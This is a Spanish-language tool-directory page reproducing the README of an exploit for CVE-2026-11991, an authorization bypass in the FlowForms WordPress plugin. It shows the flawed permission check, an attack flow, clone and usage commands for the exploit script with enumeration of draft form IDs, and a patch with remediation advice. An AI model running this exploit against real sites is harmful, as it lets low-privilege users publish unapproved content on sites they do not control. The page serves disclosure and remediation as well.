Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-11991-Exploit — Exploit automatizado para CVE-2026-11991, una omisión de autorización en el plugin FlowForms de WordPress que permite a usuarios Contributor+ publicar cualquier formulario en borrador mediante solicitudes REST API manipuladas. | Kitploit
Herramientas/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

Exploit automatizado para CVE-2026-11991, una omisión de autorización en el plugin FlowForms de WordPress que permite a usuarios Contributor+ publicar cualquier formulario en borrador mediante solicitudes REST API manipuladas.

Ver Repositorio
hace 12h 30mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-11991 — Publicación No Autorizada de Formularios en FlowForms

Omisión de Autorización Autenticada (Contributor+) para Publicar Cualquier Formulario Borrador en FlowForms ≤ 1.1.1

Resumen de la Vulnerabilidad

PropiedadValor
ID CVECVE-2026-11991
Puntuación CVSS6.2 — Media
Vector CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639 (Omisión de Autorización Mediante Clave Controlada por el Usuario)
ProductoFlowForms — Plugin de WordPress para Constructor de Formularios Conversacionales
AfectadoTodas las versiones hasta la 1.1.1 inclusive
Corregido en1.1.2
InvestigadorPhantom Hat

Análisis Técnico

Estudio de caso completo de caja blanca con análisis de código fuente, trazado del flujo de entrada y comparación de parches:

📄 Estudio de Caso CVE-2026-11991 — Medium

Superficie de Ataque

FlowForms expone una API REST bajo el espacio de nombres flowforms/v1. El endpoint de publicación:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

acepta un {id} controlado por el usuario en la ruta URL y promueve un formulario borrador al sitio en vivo.

Causa Raíz

El permission_callback para la ruta /publish realiza únicamente una comprobación genérica de capacidades:

root@kitploit:~
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts es una capacidad que poseen los Contributors — un rol al que WordPress restringe intencionalmente la publicación de contenido. No existe ninguna verificación de propiedad contra el form_id objetivo. Cualquier usuario autenticado puede publicar cualquier formulario borrador en el sitio.

Flujo de Ataque

root@kitploit:~
Atacante (Contributor)              API REST de FlowForms
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Autenticarse como Contributor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Obtener nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerar formularios borrador
        │<─ "Form Not Published" ───────────│      (respuesta no autenticada)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Activar publicación en
        │        {id}/publish ─────────────>│      cualquier ID de formulario borrador
        │                                   │      ← sin verificación de propietario
        │<─ { "success": true } ────────────│
        │                                   │
        │   El formulario ahora está EN VIVO │  (5) El borrador omite el
        │   en el sitio sin aprobación       │      flujo de trabajo editorial
        │   editorial                       │

Uso del Exploit

Requisitos Previos

  • Python 3.8+
  • Una cuenta autenticada con al menos el rol Contributor en el sitio objetivo

Instalación

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

Uso Básico

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Con Proxy (Burp Suite)

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Referencia Completa de Parámetros

ParámetroDescripciónObligatorio
--urlURL de WordPress objetivo✅
--userNombre de usuario de WordPress (Contributor+)✅
--passwordContraseña de WordPress✅
--num_formsNúmero de IDs de formularios a enumerar✅
--id_startID de formulario inicial para la enumeración✅
--proxyURL del proxy (p. ej. http://127.0.0.1:8080)❌

Flujo de Explotación

El exploit realiza tres pasos automatizados:

Paso 1 — Autenticación Inicia sesión como el atacante (Contributor) y obtiene un nonce válido de la API REST desde wp-admin.

Paso 2 — Enumeración de Borradores Escanea GET /flowform/{id} en el rango de IDs especificado. Los formularios que devuelven "Form Not Published" se recopilan como objetivos — estos son formularios borrador sobre los que el atacante no tiene propiedad.

Paso 3 — Publicación Envía POST /flowforms/v1/forms/{id}/publish con el nonce del atacante. El endpoint acepta la solicitud, promueve el borrador y hace que el formulario esté en vivo — sin ninguna comprobación de autorización sobre la propiedad.


Remediación

AcciónDetalles
ParcheReemplazar la comprobación genérica edit_posts por current_user_can('edit_post', $form_id) — el segundo argumento vincula la comprobación de capacidad al objeto de publicación específico, aplicando las reglas de propiedad de WordPress
MitigaciónHasta que se aplique el parche, restringir los roles Contributor y Author si el plugin está activo

Implementación Segura

root@kitploit:~
// VULNERABLE
'permission_callback' => fn() => current_user_can('edit_posts'),

// SEGURO (parcheado)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Referencias

  • CWE-639 — Omisión de Autorización Mediante Clave Controlada por el Usuario
  • register_rest_route() — Documentación para Desarrolladores de WordPress
  • current_user_can() — Documentación para Desarrolladores de WordPress
  • Plugin FlowForms — WordPress.org

Estructura del Proyecto

root@kitploit:~
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Exploit pulido con interfaz enriquecida
├── requirements.txt            # Dependencias de Python
└── README.md                   # Este archivo

Aviso Legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines de investigación educativa. El acceso no autorizado a sistemas informáticos es ilegal según las leyes aplicables en todo el mundo. El autor no asume ninguna responsabilidad por el uso indebido de este software. Obtenga siempre permiso escrito explícito antes de probar cualquier sistema que no le pertenezca.


Autor

Phantom Hat — Investigador de Seguridad Independiente

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Esta investigación se realizó como parte de la divulgación responsable de vulnerabilidades.

Descargar herramienta